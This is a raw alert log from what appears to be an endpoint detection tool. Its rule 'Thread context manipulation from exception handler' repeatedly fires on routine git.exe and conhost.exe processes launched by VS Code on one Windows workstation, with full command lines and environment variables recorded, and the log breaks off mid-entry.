ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 175 + Pid: 16860 + Tid: 11956 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.2165472 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 411223000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58a63080, name➜ conhost.exe, pid➜ 3396, ppid➜ 16860, real_ppid➜ 16860, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.2165472 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16860 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 177 + Pid: 3948 + Tid: 2700 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.222867 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 46f364000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5888b080, name➜ conhost.exe, pid➜ 16116, ppid➜ 3948, real_ppid➜ 3948, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.222867 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 3948 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 179 + Pid: 16860 + Tid: 11956 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.2546688 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 406987000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5aea1080, name➜ git.exe, pid➜ 3684, ppid➜ 16860, real_ppid➜ 16860, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.2546688 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16860 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 181 + Pid: 3948 + Tid: 2700 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.2595309 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 16b3a9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58a81080, name➜ git.exe, pid➜ 18400, ppid➜ 3948, real_ppid➜ 3948, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.2595309 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 3948 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 189 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3419704 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 17d8d4000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b8df0c0, name➜ git.exe, pid➜ 8132, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3419704 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 191 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3479504 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 4185ff000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b2c8080, name➜ git.exe, pid➜ 6904, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3479504 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 